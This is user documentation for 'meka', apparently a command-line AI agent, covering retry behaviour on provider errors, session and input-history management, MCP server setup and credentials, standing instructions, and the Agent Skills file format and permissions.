Whatever is removed is restored untouched if the retry carrying it is refused too. That restore is what bounds the risk, and it bounds it only in that direction: each step spends a fresh retry sequence rather than a single request, and a step whose retry succeeds keeps the loss, so the trigger is deliberately narrow. The words you typed are never rewritten by either step, though an image you attached to that prompt is exactly what the first one removes, replacing it with a note. Notes meka inserts into a conversation are prefixed [meka harness].

Both steps run whether the provider answered 400 or spent every retry on a 5xx. A gateway in front of a model reports a payload its own decoder choked on as a server error, which is indistinguishable from being overloaded, so meka honours the retries in full and treats a refusal that outlives them as one the content may explain.

On the 5xx path it does one thing more before touching anything. The retry sequence is short by design (two attempts across three seconds of backoff), which an ordinary overload outlasts, so meka waits eight seconds and sends the same request one last time. If that succeeds the outage was the whole story and nothing is lost; if it fails too, the reading that the body is the problem has been earned rather than assumed. The wait is paid only by a turn that was otherwise about to start deleting things, and only once per run of consecutive failures: a request the provider accepts makes it available again, since a later refusal is about work the earlier wait never saw. A 400 skips it, because the provider has already read the body and said no.

Nothing outside those two shapes degrades at all, because a degraded retry that succeeds only because the network came back would keep the loss. Excluded, then: a dropped connection, which never delivered the request for anything to judge; a 429, which is a statement about rate rather than about what was sent; a failure that arrives partway through a stream, after some of the answer has reached you, both because re-sending would print it twice and because the stream cannot tell an overload from anything else; and anything at all once the retries have not been exhausted. If a step it did try does not help, it says so and points here before the turn fails.

One cause of that refusal has its own fix. A session recorded by 0.41 can hold a tool_result whose content is a bare JSON string, a shape meka does not read: the row is dropped as the session loads, which leaves the tool_use it answered unanswered, and the provider rejects the next turn over the mismatch. Run the one-shot upgrade script, which converts those rows in place, rather than rewinding past a turn you wanted to keep.

Deleting Sessions

Delete specific sessions by UUID:

meka session delete 550e8400-e29b-41d4-a716-446655440000

Delete multiple sessions at once:

meka session delete 550e8400-e29b-41d4-a716-446655440000 a1b2c3d4-e5f6-7890-abcd-ef1234567890

Delete every session not updated in the last N days:

meka session delete --older-than-days 90

This is the manual counterpart to retention_days. It can’t be combined with UUIDs or --all, and 0 is refused: it would match everything.

Delete all sessions:

meka session delete --all

--all takes no ids of its own: naming some sessions and then asking for every session are two different requests, and it refuses rather than quietly doing the wider one.

Input History

Separate from your saved conversations, meka keeps a rolling history of the prompts you type at the REPL, so Up-arrow recall and Ctrl+R reverse-search work across runs (shell-style). This is distinct from a session (a stored conversation) and from the /history slash command (which reprints the current conversation).

List recent input-history entries (oldest first; -n 0 shows all):

meka history list
meka history list -n 100

Clear it entirely:

meka history clear

Managing Sessions via SQLite

You can also manage sessions directly through the SQLite database. For example, to list all sessions:

sqlite3 ~/.local/share/meka/meka.db \
  "SELECT id, created_at, updated_at FROM sessions ORDER BY updated_at DESC;"

MCP

The Model Context Protocol is how meka reaches tools, resources and prompts it does not implement itself. A server is a process meka spawns or an HTTP endpoint it connects to; what it advertises is registered alongside the built-in tools and called the same way.

This page covers running servers: the command suite, where their secrets live, what happens on the wire, and what the agent can reach. The keys themselves are in the config file reference, which is also where tool permissions are resolved.

meka mcp CLI

Manage configured servers without editing config.toml by hand:

CommandAction
meka mcp listPrint all configured servers, plus any stored OAuth credential that no server claims (see Leftover credentials).
meka mcp get <name>Print full details for one server.
meka mcp add <name> <url-or-command> [args...] [flags]Persist a server. Transport is auto-detected: a URL starting with http[s]:// means HTTP, anything else means stdio. Preserves existing formatting/comments via toml_edit.
meka mcp remove <name>Best-effort revoke stored OAuth tokens (RFC 7009) at the provider, then delete the server entry, clear stored credentials, and drop any resource-update ledger entries. A name with stored credentials but no config entry is cleaned rather than refused.
meka mcp disable <name>Set disabled = true on the server entry. The next meka start skips it entirely.
meka mcp enable <name>Clear the disabled flag, so the server connects on the next start.
meka mcp reconnect <name>Smoke-test a connect; prints ok or the error.
meka mcp tools <name>Connect and list every advertised tool with its resolved permission, the chain step that decided it, and whether the current config allows it. Useful for populating --allow-tool, --disable-tool, or --tool-permission overrides without leaving the CLI.
meka mcp login <name>Drive interactive OAuth. If the server has no [auth] block and uses HTTP, assumes type = "oauth" and persists the block on success. With --auth-token-stdin or --client-secret-stdin, stores that secret and exits instead, which is also how you rotate one.
meka mcp logout <name>Call the provider’s revocation_endpoint (RFC 7009) best-effort, then clear every stored credential for the server.

Credentials

An MCP server’s bearer token, OAuth client secret and OAuth token bundle are stored in meka’s database (mcp_credentials, keyed by server name and kind), never in config.toml. This is the same rule providers follow, and for the same reason: config.toml is a plaintext file people commit, sync and share.

Each is read from stdin so it never reaches ps output or your shell history. One command reads one secret, so --auth-token-stdin and --client-secret-stdin cannot be combined:

$ pass show notion-token | meka mcp add notion https://mcp.notion.com/mcp --auth-token-stdin
$ pass show acme-secret | meka mcp login acme --client-secret-stdin

A confidential OAuth client holds two at once: the long-lived client secret it authenticates with, and the refreshable bundle it obtained. Store the secret first, then run meka mcp login <name> to complete the flow. Refreshing the bundle leaves the client secret alone.

meka mcp get <name> lists which kinds a server has, without printing any of them, and shows the origin an OAuth bundle was issued for as issued for: <scheme>://<host>[:port]. That flags the case a rotated url leaves behind: a bundle minted against the old host is still stored and still sent, so the line names a mismatch rather than letting the next call fail as a bare 401. meka mcp list names servers that have a stored credential but no [[mcp.servers]] entry, which is what a hand-edited config strands.

meka mcp add flags

FlagPurpose
--transport <stdio|http>Override the auto-detected transport.
--env KEY=VALUEEnvironment variable for stdio (repeatable).
--header KEY=VALUEHTTP header (repeatable).
--auth <oauth|client-credentials|client-credentials-jwt>Configure the [auth] block.
--auth-token-stdinRead a static bearer token from stdin and store it. Mutually exclusive with --auth.
--client-secret-stdinRead an OAuth client secret from stdin and store it. Required by --auth client-credentials.
--client-idOAuth / client-credentials client identifier. Not a secret, so it goes in config.toml.
--signing-key <PATH>, --signing-algorithm <ALG>JWT signing material (client-credentials-jwt only).
--scope <SCOPE>OAuth scope (repeatable).
--redirect-port <PORT>Fixed OAuth redirect port (default: ephemeral).
--permission <none|read|workspace|ask|unrestricted>Per-server permission cap (applies to all tools on the server).
--allow-tool <NAME>Raw tool name to allow (repeatable). When set, only listed tools register.
--disable-tool <NAME>Raw tool name to block (repeatable). Applied after --allow-tool.
--eager-load-tool <NAME>Raw tool name to eager-load (repeatable). Listed tools skip the load_tool round-trip and ship in the cacheable tools-array prefix from turn 1.
--tool-permission <NAME=LEVEL>Per-tool permission override (repeatable). LEVEL is none/read/workspace/ask/unrestricted.
--requiredPersist required = true, so a turn is rejected while this server isn’t connected. Omitted, the server inherits [mcp].strict and is optional by default.
--disabledPersist disabled = true, so the server is skipped entirely at startup. Re-enable with meka mcp enable <name>.

Example: Notion

These signposts are info logs, so they need -v; at the default warn level the command succeeds silently and the exit code carries the result. Timestamps and targets are elided here.

$ meka -v mcp add notion https://mcp.notion.com/mcp
added 'notion' to ~/.config/meka/config.toml
probe: 'notion' requires OAuth
running OAuth authorization for 'notion' (use --no-login to skip)
no [auth] block for 'notion'; assuming OAuth authorization_code
…
authorized 'notion'

meka mcp add on an HTTP endpoint:

  1. Probe: issues an unauthenticated GET (3 s timeout, redirects off) and classifies the response per the MCP authorization spec + RFC 6750 + RFC 9728:

    • 2xx → server is open, no login needed.
    • 401 / 403 with WWW-Authenticate: Bearer … → OAuth required. The resource_metadata="…" attribute (RFC 9728) is captured at DEBUG.
    • Any other status → couldn’t infer, prints the status code.
    • Network failure → prints the error.
  2. Auto-login: if the probe says OAuth is required (or --auth oauth was explicitly set), the OAuth authorization_code flow runs immediately as though the user had chained meka mcp login <name> themselves. The synthesised [auth] = oauth block is written back to config.toml on success.

  3. Rollback on failure: if the OAuth flow errors out, the entry we just wrote is purged from config.toml (alongside any partial credentials), leaving the user’s config clean. The command exits non-zero.

  4. --no-login: skips step 2. The entry is still persisted and the probe’s hint is still printed; run meka mcp login <name> when ready. Useful for scripted setup or when you expect to edit [auth] by hand.

The probe and the auto-login only run for HTTP servers, and only when the user didn’t provide --auth-token-stdin (static bearer) or --auth (other than oauth). Stdio servers skip both.

Remote hosts / SSH sessions

The OAuth flow redirects the browser to http://127.0.0.1:<port>/callback. When meka is running on a different host than the browser (SSH session, container, Codespace, WSL), the browser can’t reach back and shows a “connection refused” error page. meka handles this automatically:

  • While meka mcp login <name> waits for the callback it also watches stdin.
  • The browser’s address bar still contains the full callback URL (including code and state) even when the connection fails. Copy it, paste it into the meka prompt, and press Enter.
  • Whichever completes first, the TCP callback or the pasted URL, wins.

meka opens the browser silently and prints the URL exactly once, so the flow works the same whether or not a browser is reachable. The authorized line is an info log, shown here with -v.

$ meka -v mcp login notion
open this URL in your browser to authorize:

https://mcp.notion.com/authorize?response_type=code&…

waiting up to 120s for the callback, or paste the callback URL here and press Enter:
http://127.0.0.1:46437/callback?code=…&state=…     ← paste here
authorized 'notion'

REPL parity

Inside the REPL:

  • /mcp list: list configured servers.
  • /mcp reconnect <server>: reconnect smoke-test.
  • /mcp login <server> / /mcp logout <server>: run the auth flow or revoke.
  • /mcp <server>:<prompt> [args...]: render a server-defined prompt as the next user turn.

Resources and prompts

In addition to tools, meka exposes MCP resources and prompts through several builtin tools (deferred: the agent calls load_tool first to fetch the schema, then invokes them):

BuiltinPurpose
mcp_resource_listList resources from one or every configured server.
mcp_resource_readRead a resource by server + uri; text inline, binary base64-encoded.
mcp_prompt_listList prompts from one or every configured server, including their declared arguments.
mcp_prompt_getRender a prompt by server + name with optional arguments; returns <role>: <text> lines.
mcp_resource_subscribeSubscribe to resources/updated notifications for a specific URI.
mcp_resource_unsubscribeCancel a prior subscription.
mcp_resource_updates_listPrint every resource that has been reported as updated since the session started.

Startup concurrency

MCP servers connect in parallel at startup, partitioned by transport so a fleet of stdio servers (process-spawn bound) doesn’t fight a fleet of HTTP servers (network bound):

  • stdio: MEKA_MCP_STDIO_CONCURRENCY (default 3)
  • http: MEKA_MCP_HTTP_CONCURRENCY (default 20)

These env vars are tuning knobs: rarely needed, but useful if you’re running ~30 stdio servers on a constrained box (lower it) or ~50 HTTP servers (raise it).

Connection lifecycle

  • Reconnection is automatic for all transports (stdio, plain HTTP, OAuth-authenticated HTTP) when the transport closes mid-session. HTTP transports use exponential backoff (1s, 2s, 4s, 8s, 16s, capped 30s, max 5 attempts); stdio gets one immediate retry. The reconnect runs on a blocking thread to work around an upstream rmcp bug where the auth future is !Send.
  • Failed initial connect is retried in the background with its own backoff (5s doubling to a 5 minute ceiling) until the server comes up, and the server’s tools are registered into every live session when it does. A server that is slow to boot, or that starts after meka, therefore recovers on its own rather than staying failed for the life of the process. This matters most for a required server, where every turn is rejected until it connects.
  • Session-expired recovery: rmcp transparently re-initialises HTTP sessions on 404 / JSON-RPC -32001. meka relies on this; no per-call handling is required.
  • Cancellation: when the agent cancels a tool call (e.g. Ctrl-C), meka sends notifications/cancelled to the server with the in-flight request id so the server can stop work.
  • Timeouts: tool calls default to 600 s; override with MEKA_MCP_TOOL_TIMEOUT in ms.
  • Tool list refresh: on tools/list_changed, meka re-discovers the server’s tools and hot-swaps them in the registry; no restart needed.
  • Progress notifications: MCP tool calls attach a per-request progressToken; incoming notifications/progress render as a live status line under the tool invocation.
  • Call identity: tools/call carries two extra keys in _meta alongside the progress token. meka/sessionId is the UUID of the session the call came from, letting a server scope per-session state (a cache, a workspace, an audit trail) to one conversation; a sub-agent reports its own child session id. meka/toolUseId is the provider’s tool-use id for the call. Both are absent for calls made outside a session, such as connection-time handshakes.
  • Server instructions: InitializeResult.instructions is captured once per connection and delivered in the per-turn context (sanitised + truncated to 2048 chars) under [MCP server instructions]. A server that connects late, or reconnects with different instructions, is announced as a change rather than rewriting anything already sent.
  • stdio server logs: a stdio server’s own stderr (many servers log there) is captured, not inherited, so it never corrupts the REPL display. Each line is re-emitted on meka’s tracing stream at debug level tagged with the server name, so it stays silent at default verbosity and surfaces under -v / RUST_LOG.
  • resources/list_changed, prompts/list_changed, and resources/updated notifications are logged at info/debug level.

Server-to-client features

Featuremeka behaviour
elicitation/createRouted to the calling session’s frontend (REPL / ACP form or URL prompt) with a 60s timeout. Auto-declines when no in-flight tool call’s frontend is registered or the user doesn’t answer in time.

Instructions

Standing instructions are your own guidance to the agent, applied to every session on this machine. They land in the system prompt under a ## User Instructions heading, and the model is told to treat them as hard constraints unless they conflict with safety requirements.

Use them for things that are true of your setup rather than of any one task:

  • System policies: “Never install Python packages globally with pip. Always use uv or a venv.”
  • Installed tooling worth knowing about: “Poppler is available; use pdftotext for PDFs.”
  • Workflow preferences: “Prefer ripgrep over grep.”
  • Compliance rules: “Git commits on this system must be gpg-signed.”

Where they live

Instructions are content, not configuration, so they live at a conventional path beside config.toml rather than behind a key inside it. Write:

~/.config/meka/instructions.md

If the set grows, split it into a directory instead. Every *.md file is concatenated in lexical order, so a numeric prefix controls the sequence:

~/.config/meka/instructions/
├── 00-style.md
├── 10-security.md
└── 20-tooling.md

The directory wins when it has content, so splitting a grown instructions.md is a rename rather than a migration. An empty instructions/ falls back to the file rather than blanking your instructions. Under a custom MEKA_CONFIG_DIR, both paths follow it.

Check what is actually in effect at any time:

meka instructions show     # the resolved text, plus where it came from
meka instructions path     # the paths meka checks, and whether each exists

show prints the text on stdout and the source on stderr, so meka instructions show 2>/dev/null pipes cleanly.

Passing them as a string

A file is the right shape on a workstation, but not everywhere. When the channel carrying the value is a string rather than a filesystem, use one of:

SourceForm
--instructionstextper-run, wins over everything
MEKA_INSTRUCTIONStext
MEKA_INSTRUCTIONS_FILEpath
instructions.md / instructions/filethe default

Resolution stops at the first one set, in that order.

This matters most for containers. The mekabox wrapper mounts your config directory into the container read-only and then replaces the instructions with container-specific ones, which is a single -e MEKA_INSTRUCTIONS=…. Requiring a path would mean writing a temp file on the host and bind-mounting it, and the read-only mount means it could not simply write the file where meka looks.

MEKA_INSTRUCTIONS_FILE covers the case where a file exists but you do not control where it is mounted, such as a Kubernetes ConfigMap or a Docker secret. It accepts a directory too, since a ConfigMap mounts as a directory of keys, and in that case takes any regular file rather than only *.md: a ConfigMap key is often just instructions, and a naming choice made in someone else’s YAML should not become a startup failure inside a pod.

Setting MEKA_INSTRUCTIONS= to the empty string means “no instructions”, suppressing the file rather than falling through to it. That is the way to run a container with your host instructions mounted but not applied.

Setting both environment variables is refused at startup. There is no reading under which someone meant both, so resolving one silently would hide the mistake until the agent behaved unexpectedly.

When they are read

Once, at startup. Editing takes effect on the next launch, not mid-session.

That is deliberate, and it follows from size. The system prompt heads the prompt-cache prefix, so a large instruction set is billed once and served from cache on every later turn. Re-reading it per turn would either invalidate that prefix whenever the file changed, or push the text down into the conversation where it would compete with actual context.

This is the opposite of skills and memory, which do refresh mid-session. They can afford to: both are indexed rather than included in full, and the index is small.

meka -c makes restarting cheap when you do edit them.

Notes

  • Empty or whitespace-only instructions are treated as unset.
  • Sub-agents do not receive them by default. Instructions describe the top-level agent, and a worker handed one task by one of its turns is not that agent; inheriting the persona is how a sub-agent ends up addressing the user as though it were the one they are talking to. The agent can pass instructions: "inherit" to agent_spawn when a task genuinely needs the project’s standing rules, or pass a skill when the direction is reusable.
  • They apply at every permission level, including none, because you wrote them.
  • A set larger than roughly 8k tokens logs a warning at startup. It still works, and it is cached, but it occupies that much of every request’s window and is usually a surprise rather than a decision.
  • An unreadable file in a directory is skipped with a warning rather than hiding the rest of it. A path you named explicitly via MEKA_INSTRUCTIONS_FILE is an error instead, since running without guidance you believe you supplied is worse than not starting.
  • A directory contributes at most 100 files; past that it is far more likely pointed somewhere unintended than intentional, so the rest are skipped with a warning.

Skills

Skills are knowledge packages that give the agent non-standard knowledge: manuals, procedures, tool-specific instructions, and experience the LLM doesn’t have natively. Each skill is a directory containing a SKILL.md file with structured metadata.

meka implements the Agent Skills specification, so a skill written for meka works in other compliant clients and vice versa, and a skill meka writes passes the ecosystem’s own skills-ref validate.

Skills are normally authored by you. An agent can also be allowed to write its own; see Letting the Agent Manage Skills, which is off by default.

How Skills Work

  • Skills live in ~/.config/meka/skills/ (platform-specific config dir). Additional read-only directories can be added with extra_paths.
  • Each skill is a directory: skills/<name>/SKILL.md. A lowercase skill.md is accepted too.
  • Any entry whose name begins with . is skipped at discovery. This covers VCS metadata (.git), editor/IDE state (.vscode, .idea), filesystem artifacts (.DS_Store, .Trash), and any other dotfile or dotdir that may sit alongside your skills.
  • SKILL.md starts with a YAML frontmatter block declaring the skill’s metadata, followed by Markdown body content.
  • On every prompt, meka discovers all valid skills and lists them in the per-turn context with their description.
  • The agent invokes a skill by calling the skill_read tool with the skill name. The tool returns the full body, which the agent follows.
  • skill_search greps the full text of every installed skill, for when the one-line descriptions are not enough to tell which skill covers something.
  • Skills are available in read, workspace, ask and unrestricted modes (not in none).
  • The whole subsystem can be switched off with [skills] enabled = false, which keeps the skill tools’ schemas out of every request and stops the skills section from rendering.

File Format

A skill is a directory under ~/.config/meka/skills/ containing a SKILL.md file:

~/.config/meka/skills/
└── download-videos/
    └── SKILL.md

SKILL.md must begin with a YAML frontmatter block, followed by the skill body:

---
name: download-videos
description: Download videos from various websites using yt-dlp. Use when the user wants a video off a URL.
metadata:
  author: John Doe <john.doe@example.com>
  version: "1.0"
---

# Download Videos with yt-dlp

## Installation

Install yt-dlp:

\```bash
pip install yt-dlp
\```

## Basic Usage

Download a video:

\```bash
yt-dlp "https://example.com/video"
\```

Required Frontmatter Fields

FieldConstraints
name1-64 characters, lowercase alphanumerics and hyphens; no leading, trailing or consecutive hyphens. Must match the directory name. “Alphanumeric” is Unicode-wide, as the spec and its reference validator define it, so a non-Latin name is valid.
description1-1024 characters. What the skill does and when to invoke it. Shown to the model in the per-turn context, so fold the trigger condition into this one line.

A skill is skipped, and the reason reported, when it breaks a rule the spec states about its identity: a directory name outside the rules above, a name that disagrees with its directory, or a missing description. meka implements the Agent Skills specification, so a directory it cannot read as a conforming skill is not a skill it has, and saying so beats listing something no other client would accept.

A skip is not silent. It appears in the [Skills] index the agent reads, in skill_read, in meka skill get, and in a warning on startup, each naming the directory and the reason. The directory stays where it is, so renaming it is all that is needed.

Everything else loads: an over-long description (warned, since refusing would take the procedure with it), and frontmatter keys the spec does not define.

A name containing characters meka cannot render – a newline, a zero-width space – is refused by the same rule, and additionally cannot be reached by meka skill remove: the name meka would echo back is a different directory, which may itself exist. Rename it in a shell.

Keys meka does not model are kept, not dropped. A skill carrying Claude Code’s when_to_use, or a source_url naming where it was fetched from, still has them after an agent edits its description.

Frontmatter that is not valid YAML is not repaired. The client guide suggests quoting unquoted prose colons (description: Extract text. Use when: the user mentions PDFs) as a fallback, and meka deliberately does not: the reference implementation does no repair either, one repair rule is an arbitrary pick out of the many ways YAML can be malformed, and a file meka silently fixed on the way in is one that keeps working here and nowhere else. The skill is skipped instead, and said so out loud with the parser’s own line and column. Fix the file once and every client can read it.

Optional Frontmatter Fields

FieldDescription
licenseThe skill’s license, as a name or a reference to a bundled file. Informational.
compatibilityUp to 500 characters naming what the skill needs from its environment (Requires Python 3.14+ and uv). Shown to the model when the skill is activated, since it changes how the instructions should be carried out.
allowed-toolsTools the skill would like pre-approved. meka reads and preserves this but never acts on it; see Why allowed-tools Is Ignored. Written as a space-separated string; a YAML list or a bare number is read too, rather than costing you the skill.
metadataA map of extra properties. Where anything the spec has no field for belongs.

Metadata Keys

The spec reserves metadata for properties it does not define, and meka carries the whole map through untouched, including keys it has no meaning for, so a skill written elsewhere survives being edited here.

That includes values that are not strings. The spec describes a map of string to string, but skills in the wild carry lists and nested maps under metadata, and an edit here keeps them as they were:

metadata:
  tags: [pdf, forms]     # still a list after an agent rewrites the description
  origin:
    repo: example/skills # still a map

meka renders such a value as text where it needs one (meka skill list, meka skill get), but the file keeps the original.

metadata itself must be a map, though. A skill whose metadata: is a string or a list still loads, lists and reads normally, but rewriting it is refused: meka would have nowhere spec-legal to record meka-priority or author, and doing something other than what the caller asked without saying so is worse than declining. Fix the file, or write to a different name.

KeyDefaultDescription
authornoneAttribution, conventionally Name <email>. The spec’s own example key. Informational only.
versionnoneFree-form version label (e.g. "1.0", "2024-03-14"). The spec’s own example key.
meka-priority5Listing rank 0-9, lower first. Orders the [Skills] index and decides which skills its cap drops. Not shown to the model; see How the Agent Uses Skills.

meka-priority carries a prefix because it is meka’s own concept and the spec has nothing like it; another client could reasonably read a bare priority the opposite way round. author and version do not, because the spec demonstrates exactly those keys.

Frontmatter Written Before the Spec

A SKILL.md written before meka followed the spec carries author, version and priority at the top level of the frontmatter, where the spec has no place for them. The one-shot upgrade script moves all three under metadata:, and the three are not equally optional:

  • author and version keep their names, and meka reads either spelling permanently (see below), so moving them changes nothing but tidiness.
  • priority is renamed to meka-priority as it moves, because that is the key a rank is read from and there is no other. A top-level priority: left where it is, or hand-moved under metadata: under its own name, is a key nothing reads: the skill takes the default rank of 5, the [Skills] index comes out in a different order, its cap drops different skills, and nothing says so. This is the part of the move that has to happen.

meka does not rewrite a file it is only reading, so a skill it never writes to keeps the frontmatter you gave it until the script runs.

Reading a top-level author or version is permanent, not a transition. Claude Code’s plugin skills declare version at the top level, and the skill that documents skill authoring tells authors to put it there, so a reader that looked only under metadata: would print a dash for a version the file plainly states. meka reads both spellings and writes only the spec’s, which is what lets the move be a script you run once rather than something the binary does to your files behind your back.

Why allowed-tools Is Ignored

allowed-tools is experimental in the spec, and the spec itself notes that support varies. meka parses it, preserves it across a rewrite, and shows it in meka skill get, but never grants anything from it. The spec defines the field as a space-separated string and that is what meka writes, so a skill that spelled it as a YAML list comes back joined: [Read, Bash] becomes Read Bash.

Two things meka does not preserve across a rewrite, both worth knowing before you hand-edit a SKILL.md that meka will later write to:

  • A joined allowed-tools entry containing a space cannot be told apart from two entries. ["Bash(git diff:*)", "Read"] comes back as Bash(git diff:*) Read, which no longer says where one entry ends. Prefer the spec’s string form for these.
  • Comments in the frontmatter block are dropped. The header is rebuilt through a YAML serializer, which does not carry them. Keys, values and nested structure all survive; # notes beside them do not. Put anything you need to keep in the body, which is passed through untouched.

A skill file is content, and content does not get to widen what the agent may run. meka’s permission mode is the authority for that, and a SKILL.md dropped into the skills directory (or synced from a repository, or written by an agent) must not be able to pre-approve Bash(rm:*) on its own say-so.

Referencing Bundled Files

Refer to files bundled alongside SKILL.md by relative path (e.g. scripts/helper.sh). Every skill body is prefixed with a header naming the skill’s directory (see How the Agent Uses Skills), so relative paths resolve against the skill rather than against the session’s working directory.

The body is passed to the model verbatim; meka does not rewrite anything inside it. Keeping skills free of host-specific placeholders is what lets the same SKILL.md run under meka and other Agent Skills hosts unchanged.

Storage Location

PlatformPath
Linux~/.config/meka/skills/<name>/SKILL.md ($XDG_CONFIG_HOME/meka/skills/)
macOS~/Library/Application Support/meka/skills/<name>/SKILL.md
Windows%APPDATA%\meka\skills\<name>\SKILL.md

This is the only directory meka ever writes to. It is created the first time something is written there, not at startup.

Reading Skills from Other Directories

[skills] extra_paths adds directories to scan. They are read-only: meka never creates them and never writes into them, so listing one costs nothing if it does not exist.

[skills]
extra_paths = ["~/.agents/skills", "~/src/team-skills/skills"]

~ is expanded. A relative path resolves against the process working directory.

The default is empty. ~/.agents/skills has emerged as a cross-client convention, so pointing at it makes skills installed by other Agent Skills clients visible to meka, but whether to read a directory outside meka’s own namespace is your decision rather than a default.

Precedence. meka’s own store is searched first, then each extra_paths entry in order. When two directories hold the same skill name, the first wins and the shadowed one is logged.

Writes never follow. skill_write, skill_delete, meka skill add, meka skill remove, PUT /v1/skills/{name} and DELETE /v1/skills/{name} all target meka’s own store. Asked to write a name that resolves to a skill in a read-only root, they refuse and say where it lives, because writing would create a second copy that shadows the original instead of changing it. Edit that file directly, or pick a different name. This holds whether or not the file there is valid: a directory whose SKILL.md does not parse still claims that name, and shadowing a broken skill is the case worth refusing hardest, since nothing then reports the original at all.

There is deliberately no automatic project-level scan. meka does not treat the working directory as trusted anywhere else either, and a cloned repository that could silently add instructions to the agent’s context would be exactly that. Name a project’s skills directory in extra_paths if you want it read.

Listing Skills

meka skill list shows a fixed set of columns, so output stays parseable when piped:

$ meka skill list
Name             Author                Pri  External  Description
deploy-service   Jane Doe              2    false     How to deploy the service. Use when the…
borrowed         -                     5    true      A skill another client installed.

External is true for a skill found under extra_paths rather than in meka’s own store. It is always present, even when nothing is external, so a script’s field offsets do not shift with the store’s contents.

--paths adds the on-disk Path, which is how you find out where an external skill lives. Nothing else goes in this table: license, compatibility, allowed-tools, version and arbitrary metadata keys are per-skill detail, and meka skill get <name> prints all of them.

How the Agent Uses Skills

When skills are available, the per-turn context includes a [Skills] section like:

[Skills]

- **download-videos**: Download videos from various websites using yt-dlp. Use when the user wants a video off a URL.
- **deploy-kubernetes**: Deploy services to a K8s cluster. Use when the user asks to deploy to Kubernetes.

The list is sent once, not on every turn. Adding, editing, or removing a skill mid-session is picked up on the next prompt and announced as a short note naming just what changed, so a long session doesn’t pay for the whole list repeatedly.

A skill directory that could not be loaded is named there too, with the reason:

1 directory in your skills path could not be loaded, so it is not in the index above and cannot be invoked:

- **deploy-kubernetes**: invalid frontmatter: mapping values are not allowed here

This is the counterpart to the same paragraph in [Memory], and it exists because the log is not a channel the agent can read. From inside a session an unparseable SKILL.md is otherwise indistinguishable from a skill nobody wrote: the index omits it, so the agent has no reason to ask for it by name, and whoever dropped the file in goes on believing the procedure is in force. Naming it lets the agent tell you rather than improvise a replacement. It appears and disappears with the file, so repairing the frontmatter is announced too.

Skills are listed in meka-priority order, lowest first, with the name breaking ties. The index is capped at 200 entries and 8 KiB; anything past that is replaced by a count and a pointer to skill_search, so a large skill store degrades into “search me” rather than silently eating the context window. The rank itself is not rendered: a skill should be invoked because the request matches its stated purpose, not because it outranks another one.

The agent loads a skill by calling the skill_read tool:

skill_read(name: "download-videos")

The tool returns the full body of SKILL.md as its output. The agent then follows the instructions.

Whenever a skill body is loaded (by the skill_read tool, --skill, /skill, agent_spawn, or meka skill show), it is prefixed with a header naming the skill’s directory:

Base directory for this skill and its bundled files: /home/user/.config/meka/skills/download-videos

This is what lets the agent locate files bundled alongside SKILL.md when the body refers to them by relative path (e.g. scripts/helper.sh).

A skill that declares compatibility gets a second line, since what the skill needs from its environment changes how its instructions should be carried out:

Environment this skill expects: Requires Python 3.14+ and uv

Running a Skill in a Sub-Agent

The agent can delegate a skill to a sub-agent by passing the skill parameter to the agent_spawn tool. The sub-agent runs the skill in its own fresh context and returns a report, keeping the skill’s instructions out of the parent’s conversation:

agent_spawn(skill: "summarize-financial-news")
agent_spawn(skill: "summarize-financial-news", prompt: "focus on UK markets")

prompt is optional when skill is given; if both are supplied, prompt is prepended to the skill body as extra direction (the same ordering as meka --skill <name> [prompt]).

A skill is the reusable unit of worker instruction. Sub-agents do not receive the instructions file unless the spawn call asks for it, since it describes the top-level agent rather than a delegate – so a skill is usually the better way to give a worker standing direction.

Invoking a Skill from the CLI

Any skill can be triggered directly from the command line with --skill <name>. The rendered body becomes the first user turn, and meka drops into the interactive REPL after the turn finishes:

meka --skill download-videos "https://example.com/video"

The positional [PROMPT] argument, if given, is prepended to the skill body as extra context (equivalent to typing /skill download-videos https://example.com/video in the REPL).

To run the skill and exit immediately (useful for scripts), pair with --oneshot:

meka --oneshot --skill download-videos "https://example.com/video"

To invoke a skill mid-session inside the REPL, use the slash command instead:

/skill download-videos
/skill download-videos this URL specifically

Letting the Agent Manage Skills

By default the agent can only read skills. Setting [skills] agent_managed = true additionally registers skill_write and skill_delete, letting it create, refine, and remove skills itself:

[skills]
agent_managed = true

This is off by default because for an ordinary terminal session you author and curate skills, and an agent rewriting that store is not something you asked for. It earns its keep in the opposite deployment: a long-running agent acting as a dispatcher over a team of sub-agents. A skill is the only thing in meka that both outlives the session and can be handed to a sub-agent as its task, so writing one is how such an agent gets a refined worker brief to the next worker without routing the whole text through its own context window.

skill_write(name: "triage-build-failure",
            description: "How to triage a failing CI build",
            priority: 2,
            body: "1. Fetch the log...")
agent_spawn(skill: "triage-build-failure")

Notes on how it behaves:

  • Both tools run at read permission, like memory_write. They write to meka’s own config directory rather than to your working tree, and the deployment they exist for typically runs at read permission permanently. The config flag is the authorization, not the permission tier.
  • Sub-agents never get them, whatever this setting says. A worker that inferred something from one narrow task should not rewrite the instructions its siblings run on.
  • Writing to an existing name updates it. Omitting body keeps whatever the skill already documented, so a call that only changes the description or priority does not erase the procedure. Note that meka skill add --force is a replace, not an update: it rewrites SKILL.md from the template and removes any bundled files alongside it. The new SKILL.md is written first, so a failure to clear a bundled file leaves the skill intact and says which files it could not remove.
  • Skills the agent creates are stamped metadata.author: meka (agent-authored), so meka skill list shows where an entry came from. An existing author is kept, so an agent refining a skill you wrote does not reassign it to itself. Informational, not a guard.
  • Every other frontmatter key survives a rewrite, including license, compatibility and any metadata key meka has no meaning for, with its YAML type intact, so a metadata list stays a list. An agent asked to sharpen an imported skill’s description changes the description and nothing else.
  • The confirmation reports the rank the file ended up with, not the one the call asked for. The two differ only when the skill’s metadata: is not a map, which meka will not overwrite; the tool says so rather than claiming a change that did not happen.
  • A file that exists at that name but is not a valid skill is refused, not overwritten. Such a file is invisible everywhere else in meka, so nothing could tell you what was about to be lost.
  • A skill from a read-only extra_paths root is refused by both tools, since writing would shadow it rather than change it.
  • A hand-written skill in meka’s own store is not protected from being rewritten. The flag being off by default, and your config directory being in version control, is the safety net for that case.
  • skill_delete removes the whole skill directory, including any bundled files, matching meka skill remove.

Tips

  • Use short, unambiguous skill names (e.g. setup-postgres, not pg). The name is what the agent sees and calls, and the spec allows only lowercase alphanumerics and hyphens.
  • Anything meka lists, meka can remove, and so is almost anything it refuses to load. A name the spec forbids (My_Skill, two words, not.a.skill) is skipped with the reason named, and meka skill remove still takes it so you can clean up. The one exception is a name meka cannot render, which no command can address; rename it in a shell. One Windows reserves, like con, loads normally: that is meka’s own write-time rule, not the spec’s.
